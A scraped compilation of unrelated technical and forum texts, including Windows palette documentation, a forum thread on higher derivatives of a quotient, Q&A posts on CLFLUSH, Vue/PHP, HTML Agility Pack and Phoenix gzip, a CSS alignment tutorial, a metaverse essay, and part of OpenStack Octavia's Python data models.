To avoid approximations and dithering, applications can also specify pen, brush, and text colors by using color palette indexes rather than color values. A color palette index is an integer value that identifies a specific palette entry. Applications can use color palette indexes in place of color values but must use the PALETTEINDEX macro to create the indexes.
Color palette indexes are only useful for devices that support color palettes. To avoid this device dependence, applications that use the same code to draw to both palette and nonpalette devices should use palette-relative color values to specify pen, brush, and text colors. These values are identical to color values except when creating solid brushes. (On palette devices, a solid brush color specified by a palette-relative color value is subject to color approximation instead of dithering.) Applications must use the PALETTERGB macro to create palette-relative color values.
The system does not allow an application to change the entries in the default palette. To use colors other than those in the default palette, an application must create its own logical palette and select the palette into the device context.
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Even partial derivatives of a ratio
1. Feb 12, 2009 #1
Is there a general formula for the even partial derivatives of a ratio,
where both A and B are functions of f?
[tex]\frac{\partial ^{(2n)}}{\partial f^{(2n)}} \left( \frac{A}{B} \right)[/tex]
Thanks
2. jcsd
3. Feb 13, 2009 #2
CompuChip
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Science Advisor
Homework Helper
I think not... if we let A' and B' denote the partial derivatives of A and B w.r.t. f, respectively, then for n = 1 you would get
[tex]\frac{\partial^2}{\partial f^2} \frac{A}{B} = \frac{\partial}{\partial f} \left( \frac{A' B - A B'}{B^2} \right) = \frac{ (A'' B - A B'') B^2 - 2 B B' (A' B - A B') }{ B^4 }[/tex]
which already looks really messy (and that's just n = 1).
But you could try writing out some more terms and see if there is a pattern.
4. Feb 13, 2009 #3
arildno
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It is fairly trivial to find an IMPLICIT equation for the n'th derivative of a fraction:
Set [tex]y(x)=\frac{A(x)}{B(x)}\to{A}(x)=B(x)y(x)[/tex]
Thus, we have for the n'th derivative:
[tex]A^{(n)}(x)=\sum_{i=0}^{i=n}\binom{n}{i}B^{(n-i)}(x)y^{(i)}(x)[/tex]
This is then readily solved for the n'th derivative for y:
[tex]y^{(n)}(x)=\frac{1}{B(x)}(A^{(n)}(x)-\sum_{i=0}^{i=n-1}\binom{n}{i}B^{(n-i))(x}y^{(i)}(x))[/tex]
5. Feb 13, 2009 #4
Arildno, I have to disagree: that's not trivial, it's awesome! Thanks for your response. A couple of thoughts:
1) How did you get from generic differentiation of a product to that binomial series? Simple pattern recognition? If not, could you suggest a specific reference so that I can follow your reasoning?
2) There seems to be a tiny glitch in your final answer. Here's what I think it should be:
[tex] y(x) = \frac{A(x)}{B(x)} \qquad (1)[/tex]
[tex] A(x) = B(x) \cdot y(x) \qquad (2)[/tex]
[tex] A^{(n)} (x) = \sum _{i = 0} ^{n} \left[ \binom{n}{i} B^{(n-i)} (x) \cdot y^{(i)}(x) \right] \qquad (3)[/tex]
[tex] A^{(n)} (x) = \sum _{i = 0} ^{n-1} \left[ \binom{n-1}{i} B^{(n-1-i)} (x) \cdot y^{(i)}(x) \right] + B(x) \cdot y^{(n)}(x) \qquad (4)[/tex]
[tex] y^{(n)} (x) = \frac{1}{B(x)} \left\{ A^{(n)} (x) - \sum _{i = 0} ^{n-1} \left[ \binom{n-1}{i} B^{(n-1-i)} (x) \cdot y^{(i)}(x) \right] \right\} \qquad (5)[/tex]
Thanks again
6. Feb 13, 2009 #5
One more point. Unless I made a mistake, the expression for the n-th derivative of y
[tex]
y^{(n)} (x) = \frac{1}{B(x)} \left\{ A^{(n)} (x) - \sum _{i = 0} ^{n-1} \left[ \binom{n-1}{i} B^{(n-1-i)} (x) \cdot y^{(i)}(x) \right] \right\} \qquad (5)
[/tex]
does not seem to work. I tested it on MATLAB for this function
[tex]
y(x) = \frac{(2+4i)^x - (3-i)^x}{(6-2i)^x - (5+7i)^x}
[/tex]
where [tex]i = \sqrt{-1}[/tex], A is the numerator, and B is the denominator. According to the formula above, the first derivative is
[tex]
y^{\prime}(x) = \frac{1}{B(x)}\left( A^{\prime}(x) - B(x) \cdot y(x) \right)
[/tex]
Here's what I found:
Code (Text):
>> syms x
>> syms y A B
>> y = ((2+4*i)^x - (3-i)^x)/((6-2*i)^x - (5+7*i)^x);
>> pretty(y)
x x
(2 + 4 I) - (3 - I)
-----------------------
x x
(6 - 2 I) - (5 + 7 I)
>> A = ((2+4*i)^x - (3-i)^x)
A =
(2+4*i)^x-(3-i)^x
>> B = (6-2*i)^x - (5+7*i)^x
B =
(6-2*i)^x-(5+7*i)^x
>> (1/B)*(diff(A,x,1) - B*y) == diff(y,x,1)
ans =
0
Last edited: Feb 13, 2009
7. Feb 14, 2009 #6
I finally found the correct answer. Thank you for the hint, arildno!
[tex]
y= \frac{A}{B} \Longleftrightarrow A^{(0)} = B^{(0)} y^{(0)}
[/tex]
[tex]
A^{(1)} = B^{(0)} y^{(1)} + B^{(1)} y^{(0)}
[/tex]
[tex]
A^{(2)} = B^{(0)} y^{(2)} + 2 B^{(1)} y^{(1)} + B^{(2)} y^{(0)}
[/tex]
[tex]
A^{(3)} = B^{(0)} y^{(3)} + 3 B^{(1)} y^{(2)} +3 B^{(2)} y^{(1)} + B^{(3)} y^{(0)}
[/tex]
[tex]
A^{(4)} = B^{(0)} y^{(4)} + 4 B^{(1)} y^{(3)} + 6 B^{(2)} y^{(2)} + 4 B^{(3)} y^{(1)} + B^{(4)} y^{(0)}
[/tex]
[tex]
A^{(5)} = B^{(0)} y^{(5)} + 5 B^{(1)} y^{(4)} + 10 B^{(2)} y^{(3)} + 10 B^{(3)} y^{(2)} + 5 B^{(4)} y^{(1)} + B^{(5)} y^{(0)}
[/tex]
These derivatives can be rephrased as follows.
[tex]
A^{(0)} = \binom{0}{0} B^{(0)} y^{(0)}
[/tex]
[tex]
A^{(1)} = \binom{1}{0} B^{(0)} y^{(1)} + \binom{1}{1} B^{(1)} y^{(0)}
[/tex]
[tex]
A^{(2)} = \binom{2}{0} B^{(0)} y^{(2)} + \binom{2}{1} B^{(1)} y^{(1)} + \binom{2}{2} B^{(2)} y^{(0)}
[/tex]
[tex]
A^{(3)} = \binom{3}{0} B^{(0)} y^{(3)} + \binom{3}{1} B^{(1)} y^{(2)} +\binom{3}{2} B^{(2)} y^{(1)} + \binom{3}{3} B^{(3)} y^{(0)}
[/tex]
[tex]
A^{(4)} = \binom{4}{0} B^{(0)} y^{(4)} + \binom{4}{1} B^{(1)} y^{(3)} + \binom{4}{2} B^{(2)} y^{(2)} + \binom{4}{3} B^{(3)} y^{(1)} + \binom{4}{4} B^{(4)} y^{(0)}
[/tex]
[tex]
A^{(5)} = \binom{5}{0} B^{(0)} y^{(5)} + \binom{5}{1} B^{(1)} y^{(4)} + \binom{5}{2} B^{(2)} y^{(3)} + \binom{5}{3} B^{(3)} y^{(2)} + \binom{5}{4} B^{(4)} y^{(1)} + \binom{5}{5} B^{(5)} y^{(0)}
[/tex]
Therefore,
[tex]
A^{(n)} = \sum _{i=0} ^{n} \binom{n}{i} B^{(i)} y^{(n-i)} = B^{(0)} y^{(n)} + \sum _{i=1} ^{n} \binom{n}{i} B^{(i)} y^{(n-i)}
[/tex]
which means
[tex]
y^{(n)} = \frac{1}{B ^{(0)} } \left[ A ^{(n)} - \sum _{i=1} ^{n} \binom{n}{i} B^{(i)} y^{(n-i)} \right] \qquad \mbox{for } n \geq 0
[/tex]
Last edited: Feb 14, 2009
8. Feb 14, 2009 #7
arildno
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Science Advisor
Homework Helper
Gold Member
Dearly Missed
This is dead wrong. The upper argument in the binomial coefficient IS n, not n-1!
9. Feb 18, 2009 #8
Derivatives of a ratio of products
I thought I was done with this thread, but I decided to expand it to a more general case:
[tex]R = \frac{A\cdot C}{B\cdot D}[/tex]
where R, A, B, C, and D are functions of x. I've found an expression for the n-th derivative, but I'm not sure it correct. If anyone finds a mistake, please let me know. Thanks.
Here it is:
[tex] R^{\displaystyle (n)} = \frac{1}{B^{\displaystyle (0)} \cdot C^{\displaystyle (0)}} \left\{ \sum _{\displaystyle i = 0} ^{\displaystyle n} \left[ \binom{n}{i} A^{\displaystyle (i)} C^{\displaystyle (n-i)} \right] + \mathop{\sum _{\displaystyle j=0} ^{\displaystyle j=n-1}} _{\displaystyle k = 0} ^{\displaystyle k = n} \left[ \binom{n}{j,k,n-j-k} R^{\displaystyle (j)}} B ^{\displaystyle (k)}} D^{\displaystyle (n-j-k)}} \right] \right\} [/tex]
[tex]\mbox{for } n-(j+k) \geq 0[/tex]
[tex]\mbox{where } \binom{n}{i} = \frac{n!}{i!(n-i)!} \mbox{ and } \binom{n}{j,k,n-j-k} = \frac{n!}{j! k! (n-j-k)!} [/tex]
And this is how I got it:
[tex] A^{(0)} C^{(0)} = R^{(0)} B^{(0)} D^{(0)}[/tex]
[tex] A^{(1)} C^{(0)} + A^{(0)} C^{(1)} = R^{(1)} B^{(0)} D^{(0)} + R^{(0)} B^{(1)} D^{(0)} + R^{(0)} B^{(0)} D^{(1)}[/tex]
[tex] A^{(2)} C^{(0)} + 2 A^{(1)} C^{(1)} + A^{(0)} C^{(2)} = R^{(2)} B^{(0)} D^{(0)} + 2\left( R^{(1)} B^{(1)} D^{(0)} + R^{(1)} B^{(0)} D^{(1)} + R^{(0)} B^{(1)} D^{(1)}\right) + \ldots[/tex]
[tex]\ldots R^{(0)} B^{(2)} D^{(0)} + R^{(0)} B^{(0)} D^{(2)}[/tex]
[tex] A^{(3)} C^{(0)} + 3\left( A^{(2)} C^{(1)} + A^{(1)} C^{(2)} \right) + A^{(0)} C^{(3)} = R^{(3)} B^{(0)} D^{(0)} + 3 \Big( R^{(2)} B^{(1)} D^{(0)} + R^{(2)} B^{(0)} D^{(1)} + \ldots [/tex]
[tex]\ldots R^{(1)} B^{(2)} D^{(0)} + R^{(1)} B^{(0)} D^{(2)} + R^{(0)} B^{(2)} D^{(1)} + R^{(0)} B^{(1)} D^{(2)} \Big) + 6 R^{(1)} B^{(1)} D^{(1)} + R^{(0)} B^{(3)} D^{(0)} + R^{(0)} B^{(0)} D^{(3)}[/tex]
and so forth.
Any help is highly appreciated.
Last edited: Feb 19, 2009
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1. Partial Derivative (Replies: 3)
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show/hide this revision's text 1 [made Community Wiki]
The game of Mafia, also marketed as Werewolf, depends in practice mostly on how skillful the players are at lying, but there are some fascinating mathematical questions that arise when tries to devise optimal strategies for expert players. Let me describe one such expert strategy to give the flavor. In what follows, I will assume basic knowledge of the (simple) rules, which you can find at the above Wikipedia link.
Suppose there is a detective, who secretly learns someone's identity each night. How can the detective communicate his knowledge without exposing himself to the Mafia? Each day, each townsperson claims to be the detective, and announces the piece of information he learned the previous night. The real detective tells the truth, but the Mafia will usually not be able to distinguish the real detective from all the impersonators. Of course, the townspeople will not know either—until the detective is killed. Then the townspeople, being expert players with excellent memories, will remember everything the detective said before being killed, and will therefore get a windfall of truthful information that they can they exploit to their advantage.
Many questions arise naturally. What is the probability that the townspeople win if they use this strategy? The Mafia have some extra information (they know who they are) and hence if some townsperson makes a false statement while impersonating the detective, the Mafia will detect this and know that that townsperson is not the detective. So perhaps the detective should lie occasionally to counter this strategy? How should the townspeople lie? Should they attempt to give mutually consistent stories or not? As far as I know, these strategic issues have remained largely unexplored.
See also this MO question that announces a mathematical paper on the Mafia game.
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How to Distribute Trinomials
A trinomial, a polynomial with three terms, can be distributed over another expression. Each term in the first factor is distributed separately over the second factor, and then the entire expression is simplified, combining anything that can be combined.
Example: Simplify the expression,
image0.png
1. Break the trinomial into its three terms x, y, and 2, and distribute each term of the trinomial over the other terms.
image1.png
2. Do the multiplication.
image2.png
3. Simplify and combine any like terms.
image3.png
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|
__label__pos
| 0.721839 |
Software Tuning, Performance Optimization & Platform Monitoring
Discussion around monitoring and software tuning methodologies, Performance Monitoring Unit (PMU) of Intel microprocessors, and platform monitoring
Concurrency support of CLFLUSH
Steven_H_2
Beginner
321 Views
As far as i know, the new CLFLUSHOPT instruction is non-blocking while CLFLUSH is blocking. As shown in Page 20 of Ref 1.
But to my surprise is that, we design a micro benchmark as shown below. When i change the OMP_NUM_THREADS from 1 to 32, I did find performance gain.
I just want to know if CLFLUSH is a blocking command. And in the case of OpenMP environment, do we need to replace clflush with clflushopt if we have instruction support.
inline void cflush_yh(volatile int *p) {
asm volatile ("clflush (%0)" :: "r"(p));
}
static __inline__ unsigned long long rdtsc(void){
unsigned long long int x;
__asm__ volatile (".byte 0x0f, 0x31" : "=A"(x));
return x;
}
void omp_flush(int *src, int *dst, size_t n) {
int i;
int * addr[900000];
unsigned long long cycle, elapsed;
for (i=0; i<n; i++){
dst = src ;
addr = &dst;
}
cycle = rdtsc();
#pragma omp parallel for
for (i=0; i<n; i++){
cflush_yh(addr);
//mfence();//Obsolete.
}
elapsed = rdtsc() - cycle;
printf("flush cycles: %d\n", (unsigned)elapsed/MM);
}
int main() {
int *a, *b;
int i;
clock_t start,end;
double time_elapsed;
a = (int *) malloc(MM*sizeof(int));
b = (int *) malloc(MM*sizeof(int));
for(i = 0; i < MM; ++i){
a = i;
b = MM-i;
}
omp_flush(a,b,MM);
free(a);
free(b);
return 0;
}
[1]http://research.cs.wisc.edu/sonar/tutorial/03-hardware.pdf
0 Kudos
1 Reply
McCalpinJohn
Black Belt
321 Views
I am not sure that this is measuring what you think it is measuring....
It is a bit hard to tell what you are doing -- the array being flushed "addr" is private to the "omp_flush()" function, and is not ever used again after the "clflush" instruction, so the compiler does not need to actually perform either the assignment to the function or the "clflush" operation.
You don't provide any examples of the timings from the function, so it is not clear whether the reported time is significant compared to the overhead of the "omp parallel for" region.
You don't need to flush every array element. Cache lines are 64 Bytes on every recent Intel processor, so for 64-bit pointers you only need to flush every 8th element of addr[] to ensure that you have referenced every cache line.
The term "blocking" is not appropriate for describing the ordering of CLFLUSH. As I explained a few months ago (https://software.intel.com/en-us/forums/software-tuning-performance-optimization-platform-monitoring/topic/699950), CLFLUSH is *ordered* with respect to other CLFLUSH operations, but not with respect to CLFLUSHOPT operations to different addresses. The *ordering* property only applies within each logical processor's instruction stream, so OpenMP parallel loops will be able to run concurrently. Within each OpenMP thread, the CLFLUSH instructions will execute in program order, but there may be a great deal of concurrency even within that single thread. Again (as I also explained in October), CLFLUSH instructions on dirty data are expected to be lightweight -- if the data is dirty in the cache, then no other cache in the system can hold the data, and the execution of the CLFLUSH instruction simply requires initiation of a writeback operation from the cache to memory. Since we know that the processor can execute stores (which are strongly ordered) with significant concurrency using a single logical processor, it should certainly be able to execute the writeback portion of the store operation with at least as much concurrency.
Reply
|
__label__pos
| 0.863629 |
Vue.js Axios.post向php发送变量,但我无法访问这些变量
内容来源于 Stack Overflow,并遵循CC BY-SA 3.0许可协议进行翻译与使用
• 回答 (1)
• 关注 (0)
• 查看 (344)
我是新的前端开发,我面临着一个我无法解决的问题。
我想要做的是通过调用axios.post我的vue.js文件中的方法打开一个带参数的新弹出HTML页面(我可以作为数组传递)。
我搜索了可能的解决方案,但仍无法找到问题的根源。观察Chrome控制台,我怀疑它axios.post工作正常,因为它说:
data:“Array([index_id] => 1 [log_id] => 63)... ow.print(); //});”,状态:200,statusText:“OK”,标题:{...},config: {...},...}
但是,在弹出窗口中,我无法访问变量,或者它们是null
以下代码是我的vue.js中的一个函数:
printTransaction: function(index){
// I have tried this but could not figure out
// var formData = new FormData();
// formData.append('index_id', index);
//
// axios.post('/popup/popup_output_print.php', {
// index_id: index,
// })
// .then(function(response){
// console.info(response);
// })
// .catch(function(error) {
// console.error(error);
// })
// and this too :(
const params = {
index_id: index,
log_id: logId,
};
axios.post('/popup/popup_output_print.php', params, {
headers: {
'content-type': 'application/json',
},
})
.then(function(response) {
console.info(response);
})
.catch(function(error) {
console.error(error);
})
let newWin = window.open('/popup/popup_output_print.php');
setTimeout(function() {
newWin.print();
//newWin.close();
}, 2000);
}
这是popup_output_print.php的第一部分
<?php require("../_/inc/init.php");
$data = json_decode(file_get_contents("php://input"), TRUE);
$index_id = $data['index_id'];
$log_id = $data['log_id'];
print_r($data);
?>
...
//Trying to print the value
<?php
if($index_id == null) {
echo "index_id is null";
}
else {
echo $index_id;
}
?>
然后打印弹出窗口 index_id is null
我究竟做错了什么?
更新:在评论之后,我只是尝试了var_dump,变量都是null。:(
提问于
用户回答回答于
发生的事情是axios.postwindow.open完全没有影响:
let newWin = window.open('/popup/popup_output_print.php');
这使得GET请求没有参数。
从我的观点来看,更好的方法是使用类似Vue模态的东西,即:
axios(...).then( response => openVueModal(response.data))
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|
__label__pos
| 0.901987 |
How to delete a node if it has no parent node
.net asp.net c# html-agility-pack
Question
I'm using the HTML agility pack to clean up input to a WYSIWYG. This might not be the best way to do this but I'm working with developers who explode on contact with regex so it will have to suffice.
My WYSIWYG content looks something like this (for example):
<p></p>
<p></p>
<p><span><input id="textbox" type="text" /></span></p>
I need to strip the empty paragraph tags. Here's how I'm doing it at the moment:
HtmlNodeCollection nodes = doc.DocumentNode.SelectNodes("//p");
if (nodes == null)
return;
foreach (HtmlNode node in nodes)
{
node.InnerHtml = node.InnerHtml.Trim();
if (node.InnerHtml == string.Empty)
node.ParentNode.RemoveChild(node);
}
However, because the HTML is not a complete document the paragraph tags do not have a parent node and RemoveChild will therefore fail since ParentNode is null.
I can't find another way to remove tag though, can anyone point me at an alternate method?
Accepted Answer
Technically, first-level elements are children of the document root, so the following code should work:
if (node.InnerHtml == String.Empty) {
HtmlNode parent = node.ParentNode;
if (parent == null) {
parent = doc.DocumentNode;
}
parent.RemoveChild(node);
}
Popular Answer
You want to remove from the collection, right?
HtmlNodeCollection nodes = doc.DocumentNode.SelectNodes("//p");
if (nodes == null)
return;
for (int i = 0; i < nodes.Count - 1; i++)
{
nodes[i].InnerHtml = nodes[i].InnerHtml.Trim();
if (nodes[i].InnerHtml == string.Empty)
nodes.Remove(i);
}
Related
Licensed under: CC-BY-SA with attribution
Not affiliated with Stack Overflow
Licensed under: CC-BY-SA with attribution
Not affiliated with Stack Overflow
|
__label__pos
| 0.997517 |
Skip to main content
CSS Horizontal & Vertical Align
Center Align Elements
To horizontally center a block element (like <div>), use margin: auto;
Setting the width of the element will prevent it from stretching out to the edges of its container.
The element will then take up the specified width, and the remaining space will be split equally between the two margins:
.center {
margin: auto;
width: 50%;
border: 3px solid green;
padding: 10px;
}
Example centered element
note
Center aligning has no effect if the width property is not set (or set to 100%).
Center Align Text
To just center the text inside an element, use text-align: center;
.center {
text-align: center;
border: 3px solid green;
}
Example centered text
Center an Image
To center an image, set left and right margin to auto and make it into a block element:
img {
display: block;
margin-left: auto;
margin-right: auto;
width: 40%;
}
Example centered image
Left and Right Align
Using position
One method for aligning elements is to use position: absolute;:
.right {
position: absolute;
right: 0px;
width: 300px;
border: 3px solid #73AD21;
padding: 10px;
}
Example align using position
note
Absolute positioned elements are removed from the normal flow, and can overlap elements.
Using float
Another method for aligning elements is to use the float property:
.right {
float: right;
width: 300px;
border: 3px solid #73AD21;
padding: 10px;
}
The clearfix Trick
note
If an element is taller than the element containing it, and it is floated, it will overflow outside of its container. You can use the "clearfix hack" to fix this (see example below).
Example align with clearfix
Then we can add the clearfix hack to the containing element to fix this problem:
.clearfix::after {
content: "";
clear: both;
display: table;
}
Center Vertically
Using padding
There are many ways to center an element vertically in CSS. A simple solution is to use top and bottom padding:
.center {
padding: 70px 0;
border: 3px solid green;
}
Example align vertically with padding
To center both vertically and horizontally, use padding and text-align: center:
.center {
padding: 70px 0;
border: 3px solid green;
text-align: center;
}
Example align vertically and horizontally with padding
Using line-height
Another trick is to use the line-height property with a value that is equal to the height property:
.center {
line-height: 200px;
height: 200px;
border: 3px solid green;
text-align: center;
}
/* If the text has multiple lines, add the following: */
.center p {
line-height: 1.5;
display: inline-block;
vertical-align: middle;
}
Example align vertically and horizontally with line-height
Using position & transform
If padding and line-height are not options, another solution is to use positioning and the transform property:
.center {
height: 200px;
position: relative;
border: 3px solid green;
}
.center p {
margin: 0;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
Example align vertically and horizontally with position and transform
Using Flexbox
You can also use flexbox to center things. Just note that flexbox is not supported in IE10 and earlier versions:
.center {
display: flex;
justify-content: center;
align-items: center;
height: 200px;
border: 3px solid green;
}
Example align vertically and horizontally with flexbox
|
__label__pos
| 0.982884 |
An Eager Avocado
Eager Avocado
I give myself very good advice, but I very seldom follow it.
How much harm can nested if's do?
,
The definition of a(), b(), and sw() below achieve the same effect with different implementations: if else, nested if, and switch
a <- function(x) {
if (x == 'A') {
paste('Apple')
} else if (x == 'R') {
paste('Ready')
} else if (x == 'N') {
paste('Novel')
} else if (x == 'G') {
paste('Ginger')
} else {
paste("Bingo")
}
}
b <- function(x) {
ifelse (x == 'A', paste('Apple'),
ifelse(x == 'R', paste('Ready'),
ifelse(x == 'N', paste('Novel'),
ifelse(x == 'G', paste('Ginger'),
paste("Bingo")))))
}
sw <- function(x) {
switch (x,
A = paste('Apple'),
R = paste('Ready'),
N = paste('Novel'),
G = paste('Ginger'),
"Bingo"
)
}
Timing
microbenchmark(a('R'), b('R'), sw('R'), times=1000)
## Unit: microseconds
## expr min lq mean median uq max neval cld
## a("R") 2.250 2.4375 2.877913 2.5685 2.8615 15.950 1000 b
## b("R") 4.891 5.2855 6.250598 5.5870 6.1225 22.822 1000 c
## sw("R") 1.796 1.9850 2.341278 2.1080 2.3530 16.123 1000 a
|
__label__pos
| 0.999383 |
What follows is the transcript for a GIIDE entry, audio storytelling softward that makes audio fully interactive.
I\’ve seen so many articles and posts and pontifications and prognostications and just, well HYPE, about what the Metaverse means, since Mark Zuckerberg brought the concept into the public eye last fall with the Meta name change. Linkedin has caught FIRE with all of the experts.
I\’m generally speaking, hype averse – so have avoided adding my voice to the melee until now. As they say about opinions…everyone has one. And I certainly have my own – and thought, maybe, after all the initial hype has died down a bit, this would be a good time to actually say what I think it means.
But first, a short history. The concept of the Metaverse has been around for quite some time now, and the word itself was coined in the book \”snow crash\” by Neal Stephenson back in 1992 (30 years ago!). Basically he envisioned the future as a virtual reality-based successor to the internet, which in some ways spatial computing definitely is. In Snow Crash, people use digital avatars of themselves to explore the online world, often as a way of escaping a dystopian reality.
I have to admit – and this is HERESY in my world – I was never a fan of the book and have never actually got all the way through, as I\’m not a fan of dystopianism. But it was a huge hit, and continues to be a name that\’s often brought up.
So what is this \”metaverse\” we\’re now talking about?
For me it\’s not about virtual reality per se. It\’s about a bunch of technologies, working together, to bring us another dimension of interaction about and beyond what our physical bodies can do. Virtual reality – or, complete immersion in an alternative environment – is one. And yes, with avatars that are extensions of ourselves.
But there\’s also augmented reality: bringing things into the real world, and overlaying them onto it. Objects, sounds, information – all an extra layer or experience that enhances the physical. I\’m personally a big fan of Microsoft\’s term \”mixed reality\” because it really describes how it\’s a spectrum of realities, that go from complete immersion to lightly overlaying the physical world.
Neither of these will seamlessly integrate into our day without artificial intelligence feeding how these things work in context; no one wants 1000 things jumping out at us as we walk down the street. There needs to be a layer that acts as an intelligent mediator, gatekeeper and general personal concierge; this is table stakes in this game.
AI will also facilitate intelligent conversation with a brand\’s avatar ambassador, for example, who you will be able to chat with using natural language.
And finally – blockchain technology adds a transaction layer over (or under) all of these things, enabling you to credibly identify who you\’re talking to, or let you buy and own things in the virtual world. Cryptocurrencies and NFT enabled digital items, built using blockchain technology, will allow you to personalize your virtual experience with items that are personal to you, whether it\’s in a completely immersed space, or one that\’s adding data to the world you see around you.,
That, to me, is where the metaverse lives. Not in one destination, a \”let\’s go to the metaverse\” kind of a thing, but in the sum total of all the ways you interact with your spatial data. Everyone\’s metaverse will be their own, personal one that they create by engaging with and permissioning various parts of this experience. Just as the virtual world is intangible, so will the magic web of additional data we weave around us be something amorphous – and personal.
We are so. far. away from this vision technically. So many companies are trying to put up walled gardens, and interoperability will be key to making this work. But As Tony Parisi said in his epic \”Seven rules of the metaverse\” it cannot be owned. And that\’s because there is no one entity supplying it; it\’s your choices that make it real to you. It exists, and always will exist, as a concept that describes an intangible extra dimension of experiences; and I for one love the idea that we can create a life that\’s enriched with additional connection and experiences above and beyond the physical limitations that humanity has always had.
It\’s time to fly.
\"\"
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|
__label__pos
| 0.557983 |
How to gzip responses from 1 endpoint in Phoenix?
Background
We have an old app using Phoenix 1.2 and we have dozens of endpoints. We want 1 of these endpoints to have its responses compressed via gzip (or whatever the default is that Phoenix uses).
Code
We have all our endpoints defined in a file like this:
defmodule MyApp.Router do
use MyApp.Web, :router scope "/", MyApp do
get("/bananas", BananasController, :bananas)
end
end
However, after checking specifications for Phoenix 1.2, we didn’t find a way to compress only 1 endpoint.
We found something in SO, but we don’t understand how we can apply this to our app:
Question
How do we adapt our code to compress responses from only the /bananas endpoint?
There is no way to do such, as this is feature of the adapter (Cowboy in most common example), not endpoint per se. So unless you run separate adapter for that controller then there is no way to compress responses.
1 Like
maybe use send_resp and do it manually eg use :zlib.gzip(response) and add the appropriate headers?
2 Likes
That’s the only way we can do it, apparently, yes.
1 Like
|
__label__pos
| 0.99756 |
octavia/octavia/common/data_models.py
Carlos Goncalves c4faac25de Add Python 3.7 support
In order to support Python 3.7, pylint has to be updated to 2.0.0
minimum. Newer versions of Pylint enforce additional checkers which can
be addressed with some code refactoring rather than silently ignoring
them in pylintrc; except useless-object-inheritance which is required to
be silented so that we stay compatible with Python 2.x.
Story: 2004073
Task: 27434
Change-Id: I52301d763797d619f195bd8a1c32bc47f1e68420
2019-05-14 17:11:22 +00:00
770 lines
30 KiB
Python
# Copyright (c) 2014 Rackspace
# Copyright (c) 2016 Blue Box, an IBM Company
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import re
import six
from sqlalchemy.orm import collections
from octavia.common import constants
class BaseDataModel(object):
def to_dict(self, calling_classes=None, recurse=False, **kwargs):
"""Converts a data model to a dictionary."""
calling_classes = calling_classes or []
ret = {}
for attr in self.__dict__:
if attr.startswith('_') or not kwargs.get(attr, True):
continue
value = self.__dict__[attr]
if attr == 'tags':
# tags is a list, it doesn't need recurse
ret[attr] = value
continue
if recurse:
if isinstance(getattr(self, attr), list):
ret[attr] = []
for item in value:
if isinstance(item, BaseDataModel):
if type(self) not in calling_classes:
ret[attr].append(
item.to_dict(calling_classes=(
calling_classes + [type(self)]),
recurse=recurse))
else:
ret[attr] = None
else:
ret[attr] = item
elif isinstance(getattr(self, attr), BaseDataModel):
if type(self) not in calling_classes:
ret[attr] = value.to_dict(
calling_classes=calling_classes + [type(self)],
recurse=recurse)
else:
ret[attr] = None
elif six.PY2 and isinstance(value, six.text_type):
ret[attr.encode('utf8')] = value.encode('utf8')
else:
ret[attr] = value
else:
if isinstance(getattr(self, attr), (BaseDataModel, list)):
ret[attr] = None
else:
ret[attr] = value
return ret
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.to_dict() == other.to_dict()
return False
def __ne__(self, other):
return not self.__eq__(other)
@classmethod
def from_dict(cls, dict):
return cls(**dict)
@classmethod
def _name(cls):
"""Returns class name in a more human readable form."""
# Split the class name up by capitalized words
return ' '.join(re.findall('[A-Z][^A-Z]*', cls.__name__))
def _get_unique_key(self, obj=None):
"""Returns a unique key for passed object for data model building."""
obj = obj or self
# First handle all objects with their own ID, then handle subordinate
# objects.
if obj.__class__.__name__ in ['Member', 'Pool', 'LoadBalancer',
'Listener', 'Amphora', 'L7Policy',
'L7Rule']:
return obj.__class__.__name__ + obj.id
if obj.__class__.__name__ in ['SessionPersistence', 'HealthMonitor']:
return obj.__class__.__name__ + obj.pool_id
if obj.__class__.__name__ in ['ListenerStatistics']:
return obj.__class__.__name__ + obj.listener_id + obj.amphora_id
if obj.__class__.__name__ in ['VRRPGroup', 'Vip']:
return obj.__class__.__name__ + obj.load_balancer_id
if obj.__class__.__name__ in ['AmphoraHealth']:
return obj.__class__.__name__ + obj.amphora_id
if obj.__class__.__name__ in ['SNI']:
return (obj.__class__.__name__ +
obj.listener_id + obj.tls_container_id)
raise NotImplementedError
def _find_in_graph(self, key, _visited_nodes=None):
"""Locates an object with the given unique key in the current
object graph and returns a reference to it.
"""
_visited_nodes = _visited_nodes or []
mykey = self._get_unique_key()
if mykey in _visited_nodes:
# Seen this node already, don't traverse further
return None
if mykey == key:
return self
_visited_nodes.append(mykey)
attr_names = [attr_name for attr_name in dir(self)
if not attr_name.startswith('_')]
for attr_name in attr_names:
attr = getattr(self, attr_name)
if isinstance(attr, BaseDataModel):
result = attr._find_in_graph(
key, _visited_nodes=_visited_nodes)
if result is not None:
return result
elif isinstance(attr, (collections.InstrumentedList, list)):
for item in attr:
if isinstance(item, BaseDataModel):
result = item._find_in_graph(
key, _visited_nodes=_visited_nodes)
if result is not None:
return result
# If we are here we didn't find it.
return None
def update(self, update_dict):
"""Generic update method which works for simple,
non-relational attributes.
"""
for key, value in update_dict.items():
setattr(self, key, value)
class SessionPersistence(BaseDataModel):
def __init__(self, pool_id=None, type=None, cookie_name=None,
pool=None, persistence_timeout=None,
persistence_granularity=None):
self.pool_id = pool_id
self.type = type
self.cookie_name = cookie_name
self.pool = pool
self.persistence_timeout = persistence_timeout
self.persistence_granularity = persistence_granularity
def delete(self):
self.pool.session_persistence = None
class ListenerStatistics(BaseDataModel):
def __init__(self, listener_id=None, amphora_id=None, bytes_in=0,
bytes_out=0, active_connections=0,
total_connections=0, request_errors=0):
self.listener_id = listener_id
self.amphora_id = amphora_id
self.bytes_in = bytes_in
self.bytes_out = bytes_out
self.active_connections = active_connections
self.total_connections = total_connections
self.request_errors = request_errors
def get_stats(self):
stats = {
'bytes_in': self.bytes_in,
'bytes_out': self.bytes_out,
'active_connections': self.active_connections,
'total_connections': self.total_connections,
'request_errors': self.request_errors,
}
return stats
def __iadd__(self, other):
if isinstance(other, ListenerStatistics):
self.bytes_in += other.bytes_in
self.bytes_out += other.bytes_out
